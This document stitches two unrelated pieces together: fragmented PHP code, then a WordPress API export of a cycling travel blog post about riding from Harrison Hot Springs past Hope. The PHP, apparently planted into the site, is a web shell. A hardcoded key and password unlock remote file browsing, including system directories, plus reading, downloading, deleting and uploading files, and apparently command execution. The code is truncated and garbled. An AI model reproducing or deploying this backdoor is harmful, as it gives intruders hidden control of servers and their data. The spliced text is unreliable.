// -------- MARK START -------- if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo '
✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
'; } else { echo '❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
'; } } echo '';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo ''.htmlspecialchars($output).''; else echo '
No output'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo ''; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo ''; break; default: echo '
| Name | Size | Perms | Actions | |
|---|---|---|---|---|
| 📁 '.$item.' | '; else echo '📄 '.$item.' | '; echo ''.$size.' | '.$perms.' | '; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo ' |
Bikely map<\/a><\/p>\n Hung around Harrison Hot Spring in the morning with Graydon and Frances, eating leftover pizza and part of a raisin scone for breakfast. Got out to take a look at the scenery before too many of the people showed up, and the place pretty much looked like this:<\/p>\n <\/p>\n Wandering down towards the beach, I encountered an indication that the water levels were low:<\/p>\n And then dropped into the pavillion set up for a sand sculpture competition<\/p>\n though with the competition still a while off, most of the entries were still crates of settling sand:<\/p>\n I grabbed a few extra provisions at the general store, saddled up, and rode with Graydon and Frances back to Highway 7, where they went West to return home, and I turned East to continue to Halifax. Graydon has some pictures of the departure in his LiveJournal<\/a>, so go and look there.<\/p>\n Continuing East, I passed some sort of pipeline as it crossed the Fraser Valley:<\/p>\n and I took advantage of having the camera out to take a few more pictures of the road ahead (because it was kinda scenic):<\/p>\n A short while later, I arrived in Hope, which is apparently the Chainsaw Carving Capital (of ???):<\/p>\n and dropped into the library to use the internet a little. There was a sports shop in town where I could probably have properly fixed up my bike, but being Sunday, it was closed, so I grabbed a few final bits of food, topped up my water, and hunkered down for the long, difficult, lonely ride to Princeton.<\/p>\n Naturally, there being 2 mountain passes between the towns, the ride started with a climb of about 15km (ok, so about 1km of it or so was actually level or descending, but it was a 7% grade which I believed to be steep at the time). While climbing, I discovered taking pictures to be a good way to kill time while stopped and waiting for my pulse to go back down to around 120 so I could resume climbing (drinking water and snacking are also good time sinks, but require some care with the depletion of provisions).<\/p>\n Note the large distance that must be travelled (mostly climbing) before coming across so much as a gas station. On this night, I discovered that cellular coverage along the Crowsnest Highway varies between spotty and non-existent. I was unable make my evening call home, and felt really lonely and kinda homesick. I packed it in, resolving to call home at a park resort that was mapped to exist roughly halfway to Princeton. I also discovered that my planned standard dinner is too large by about half, but finished it off anyhow, since I had nowhere else to put it that would save me making headlines for being simultaneously the first bear sighting of the season, and the first bear casualty.<\/p>\n Also worth noting is that Hope Slide seemed to mark some sort of transition between nice warm valley air, and cool mountain pass air. It was a cool night, but not too cold to handle.<\/p>\n","protected":false},"excerpt":{"rendered":" Bikely map Hung around Harrison Hot Spring in the morning with Graydon and Frances, eating leftover pizza and part of a raisin scone for breakfast. Got out to take a look at the scenery before too many of the people showed up, and the place pretty much looked like this:<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,4],"tags":[],"class_list":["post-4","post","type-post","status-publish","format-standard","hentry","category-bc","category-ridingdays"],"_links":{"self":[{"href":"https:\/\/rolling.melon.org\/index.php?rest_route=\/wp\/v2\/posts\/4","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rolling.melon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rolling.melon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rolling.melon.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/rolling.melon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4"}],"version-history":[{"count":0,"href":"https:\/\/rolling.melon.org\/index.php?rest_route=\/wp\/v2\/posts\/4\/revisions"}],"wp:attachment":[{"href":"https:\/\/rolling.melon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rolling.melon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rolling.melon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<\/a>
\n<\/a><\/p>\n
<\/a><\/p>\n
<\/a>
\n<\/a>
\n<\/a>
\n<\/a><\/p>\n
<\/a><\/p>\n
<\/a>
\n<\/a><\/p>\n
<\/a>
\n<\/a><\/p>\n
<\/a><\/p>\n
<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a>
\n<\/a><\/p>\n
\nAfter getting to the Hope Slide lookout, I coasted down into Sunshine Valley (where there’s a residental community — I think mostly cottages still empty at this time of year — with no commercial services, but a community centre that I was able to make camp on the lawn\/playground of).<\/p>\n